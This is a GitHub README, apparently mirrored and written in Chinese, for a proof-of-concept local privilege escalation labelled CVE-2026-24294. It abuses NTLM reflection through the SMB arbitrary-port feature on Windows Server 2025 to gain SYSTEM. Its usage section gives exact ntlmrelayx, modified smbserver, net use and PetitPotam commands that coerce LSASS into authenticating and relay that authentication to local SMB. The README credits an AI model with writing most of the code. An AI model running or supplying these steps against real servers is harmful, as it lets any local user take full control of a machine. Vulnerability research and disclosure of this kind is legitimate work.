0xNDI/CVE-2026-24294

GitHub: 0xNDI/CVE-2026-24294

利用 Windows Server 2025 SMB 任意端口特性与 NTLM 反射实现本地提权至 SYSTEM 的 PoC。

Stars: 2 | Forks: 0

# CVE-2026-24294 - 通过 SMB 任意端口实现本地 NTLM 反射本地权限提升 (LPE) 通过 NTLM 反射在 Windows Server 2025 上实现本地权限提升,滥用 Windows 11 24H2 / Server 2025 中引入的 SMB 任意端口功能。 ## 漏洞详情 Windows 11 24H2 / Server 2025 引入了一项 SMB 客户端功能,允许在任意 TCP 端口上建立连接(`net use \\host\share /tcpport:PORT`)。结合 SMB 会话多路复用(MS-SMB2 第 3.2.4.2 节),这使得本地 NTLM 反射成为可能——低权限用户可以强制特权服务(LSASS)向攻击者控制的、运行在非标准端口上的 SMB 服务器进行身份验证,然后将捕获的 NTLM 认证信息中继回运行在 445 端口的真实 SMB 服务。 **影响**:任何本地用户均可提升至 `NT AUTHORITY\SYSTEM`。 **受影响版本**:Windows Server 2025(默认配置)。Windows 11 24H2 强制执行了 SMB 签名,阻止了此类中继攻击。 ## 攻击流程 ``` LSASS (SYSTEM) ──NTLM──► SMB Client ──TCP:12345──► smbserver.py (ours) │ ▼ relay NTLM blob SMB Service (:445) ◄────────────────── ntlmrelayx.py ← SYSTEM session ``` 1. `net use` 在自定义端口上打开到我们 SMB 服务器的 TCP 连接 2. PetitPotam 强制 LSASS 向 `\\127.0.0.1\share` 进行身份验证 3. SMB 客户端重用现有的 TCP 连接(会话多路复用) 4. 我们的 smbserver 捕获特权 NTLM 数据 blob,并通过 ntlmrelayx 进行中继 5. ntlmrelayx 以 SYSTEM 身份验证到运行在 445 端口的真实 SMB 服务 ## 前置条件 - Windows Server 2025 目标主机 - Python 3 以及 [Impacket](https://github.com/fortra/impacket) - PetitPotam.exe(使用 Visual Studio 从源码编译,参见 PetitPotam/ 目录) ## 使用说明 打开 3 个终端。 **终端 1** — 启动 ntlmrelayx(监听 RAW 端口 6666,中继至本地 SMB): ``` python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666 ``` **终端 2** — 启动修改过的 smbserver(监听端口 12345,将 NTLM 中继至端口 6666): ``` python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666 ``` **终端 3** — 运行漏洞利用程序: ``` :: Mount share on custom port (opens persistent TCP connection) net use \\127.0.0.1\test /tcpport:12345 /user:user user :: Coerce LSASS to authenticate to our SMB server PetitPotam.exe 127.0.0.1 localhost 2 ``` ntlmrelayx 中输出的 `whoami` 结果将显示为 `NT AUTHORITY\SYSTEM`。 ## 组件 - **`PetitPotam/`** — 修改过的 PetitPotam 源码。与上游版本相比有两处更改: - UUID:`df1941c5-fe89-4e79-bf10-463657acf44d`(WS2025 EFSRPC 接口) - 命名管道:`\pipe\efsrpc` - 使用 API #2(`EfsRpcEncryptFileSrv`),共享名称硬编码为 `test` - **`smbserver.py`** — 添加了 `-relay-port` 标志的修改版 impacket smbserver。通过挂钩 SMB2 SESSION_SETUP,在多路复用连接上捕获第二次 NTLM 身份验证,并将其转发到 RAW 中继服务器(即 ntlmrelayx 的 `--raw-port`)。 ## 致谢 本 PoC 大部分由 AI(GLM 5.1)根据以下研究与技术的描述编写: - [绕过 Windows 身份验证反射缓解机制以获取系统 Shell](https://www.synacktiv.com/en/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1) — Guillaume André, Synacktiv ## 参考 - [CVE-2026-24294](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294) — Microsoft Security Response Center - [PetitPotam](https://github.com/topotam/PetitPotam) — Gilles Lionel - [Impacket](https://github.com/fortra/impacket) — Fortra
标签:CVE-2026-24294, Impacket, LSASS, ntlmrelayx, NTLM反射, PetitPotam, PoC, Python, SMB任意端口, SMB会话多路复用, Web报告查看器, Windows 11 24H2, Windows Server 2025, XXE攻击, 中继攻击, 客户端加密, 提权, 无后门, 暴力破解, 本地权限提升, 网络安全, 逆向工具, 隐私保护